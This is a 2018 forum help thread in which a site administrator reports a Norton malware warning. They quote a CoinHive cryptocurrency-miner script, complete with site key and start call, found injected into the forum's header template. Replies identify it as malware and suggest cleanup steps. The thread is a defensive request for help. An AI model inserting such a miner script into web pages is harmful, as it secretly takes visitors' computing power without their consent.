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blind-eddie
02-19-2018, 08:27 AM
Norton says the site listed below is infected with malware.
Only thing I can find is the following in the headerinclude template.
Can someone educate me a bit about this and what needs to be done to clean this up?
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('dVRmwWPwfXxbAVw0swtjIgNk3hOSne xr');
miner.start();
</script>
https://safeweb.norton.com/report/show?url=ctsubie.com
https://sitecheck.sucuri.net/results/ctsubie.com
CoinHive is a cryptocurrency miner which uses CPU power of the people that are visiting the forum to mine cryptocurrencies. It's basically an alternative to showing ads, but unethical in my opinion.
It's usually based on third party scripts so just removing the code is fine most of the time.
In Omnibus
02-19-2018, 12:56 PM
CoinHive is a cryptocurrency miner which uses CPU power of the people that are visiting the forum to mine cryptocurrencies. It's basically an alternative to showing ads, but unethical in my opinion.
It's usually based on third party scripts so just removing the code is fine most of the time.
It's not just your opinion. Cryptocurrency miners have been classified as malware.
romaine
02-23-2018, 12:29 PM
Norton says the site listed below is infected with malware.
Only thing I can find is the following in the headerinclude template.
Can someone educate me a bit about this and what needs to be done to clean this up?
You need to everyplace on your hosting and reupload files...If you only remove codes from that template then the problem will be not solved completely and you can get it back.
Try to contact this guy https://forumweb.hosting/17636-virus-files-uploads-to-the-server-and-websites-are-under-brute-force-attack-how-to-defend.html
He can help you to scan and remove malware/virus on web hosting server.
blind-eddie
02-23-2018, 10:07 PM
Thank you all for your replies, we got it straightened out.
ForceHSS
02-25-2018, 09:22 AM
Thank you all for your replies, we got it straightened out.
Still showing me you have the virus I use ESET Smart Security
Josh789
06-28-2018, 10:40 PM
Thank you all for your replies, we got it straightened out.
Can you please elaborate on how?
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